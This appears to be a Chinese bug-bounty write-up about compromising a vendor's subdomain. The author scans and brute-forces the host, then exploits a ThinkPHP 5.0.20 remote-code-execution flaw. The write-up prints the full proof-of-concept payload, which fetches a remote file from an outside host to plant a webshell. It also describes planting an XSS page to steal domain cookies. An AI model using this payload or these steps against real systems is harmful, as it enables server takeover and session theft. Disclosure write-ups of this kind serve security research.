之前在先知社区和 freebuf 上看过关于子域名劫持的文章,一直觉得这种漏洞挺有意思,但是总感觉很难撞到能真正利用起来的,希望有一天我也能挖个这种洞。
子域名挖掘
—
在挖某厂商的SRC时,我用了农夫安全的 farmscan_domain 对他进行了子域名挖掘,发现了一个子域名为 xxxxxx.x.com,访问后发现:
我意识到了这里有搞头!
信息收集
—
反解析 ip 发现他是腾讯云下的服务器,用 nmap 扫描下端口
他开放了22 80 888 8888 端口
然后直接访问 ip 返回了一个 json 数据
{"code":0,"msg":"欢迎访问","data":[]}
扫出一个后台路径:ip/Admin/login/index.html 这里的验证码不会刷新可进行爆破,经过一番尝试爆破不出密码
访问888端口,回响403,访问8888端口
我只能得到这些信息:
这个腾讯云的服务器用了宝塔面板,宝塔的后台地址我无法得知,有个可爆破的后台在爆破了,后台跟 ssh 无果之后我几乎放弃
然后我决定再对其进行一次目录爆破
RCE
—
我突然想访问一下这个目录看看他会报什么错 xxxx/%3f/
于是最大的转机来了,报错了,最重要的是发现了这个
ThinkPHP V5.0.20 { 十年磨一剑-为API开发设计的高性能框架 }
下意识就想到了 thinkphp 的漏洞,经过多次尝试,成功的 getshell 了
POC:
http://xxxx/index.php?s=captcha&lego=copy("http://xxx/lego.txt","test.php")
_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=lego
蚁剑连接
发现了一个 hydra.php 的文件,发现被人种过马了,顺手把这个马删了,我上传的木马是 test.php
在拿下这个域名的 webshell 之后,我想对子域名漏洞进行一个利用
在这子域名下携带了一些 *.xxx.com 的cookie,于是我便想着上传一个 xss 页面
利用
—
直接用域名访问 xxxxx/test.php 返回 404
ip/test.php 会访问到我的一句话
只有在访问域名的时候浏览器才会携带cookie,用 ip 访问时浏览器不会携带cookie,意味着,我即使上传了带 XSS 的 html 页面,也无法访问到 XSS 页面。
但是我用 域名:8888 访问可以访问到宝塔那个页面
我起初想要修改那个页面来实现 XSS
如果我们想要修改宝塔的话,就要访问 /www/server/panel/ 目录,但是我的webshell 是没有权限访问那个目录了,除非提权,但是这又是一台腾讯云的服务器,应该不会出现可以提权的漏洞,于是我陷入了沉思。。。。。
然后沉思久了我就去WC了,在WC的过程中,我用手机看了一下宝塔官网的用户手册 http://docs.bt.cn/424204,在翻阅之后,我发现了一些有趣的东西,比如我们之前直接用域名访问,发现有那个没找到站点的页面,其实这个是因为宝塔面板里面没有设置这个域名为解析的域名,所以会出现这种情况。
然后我们需要 /etc/init.d/bt default 才能查看宝塔的后台地址,我用蚁剑发现无法执行命令,估计是权限不够,所以修改 8888 端口下的宝塔估计也是凉凉了
在继续翻阅宝塔的用户手册后,我发现了端口 888 运行了是 phpmyadmin,然后我突然感觉到了我应该是可以完成这次利用了,我找到了 phpmyadmin 的绝对路径
phpmyadmin_xxxxxxxxx
我们之前直接访问 888 端口返回的是
当我访问
xxx.com/phpmyadmin_xxxxxxxxx/
子域名:888/phpmyadmin_xxxxxxxxx/test.html
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论